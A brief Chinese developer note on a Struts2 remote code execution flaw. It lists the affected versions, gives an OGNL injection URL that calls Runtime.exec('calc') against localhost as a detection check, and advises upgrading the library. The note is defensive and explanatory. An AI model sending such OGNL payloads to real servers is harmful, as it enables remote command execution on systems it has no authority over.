Jslfl【软件开发技术笔记】

struts2远程代码执行漏洞

struts2.0 – 2.15都有此漏洞

检测:
1.jsp中引入struts标签,加入代码
<%@ taglib prefix="s" uri="/struts-tags"%>
Click here.

2.浏览器中访问:
http://localhost:8080/struts2/index.jsp?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec(‘calc’)}

执行后,会打开计算器

解决方案:
升级最新strtus库,目前是2.15.1
注意:web.xml中struts2过滤器配置是org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter

这样配置了后,不再需要actionClearUp过滤器

(不使用struts标签好像也行)

http://www.inbreak.net/archives/487

,

Comments are currently closed.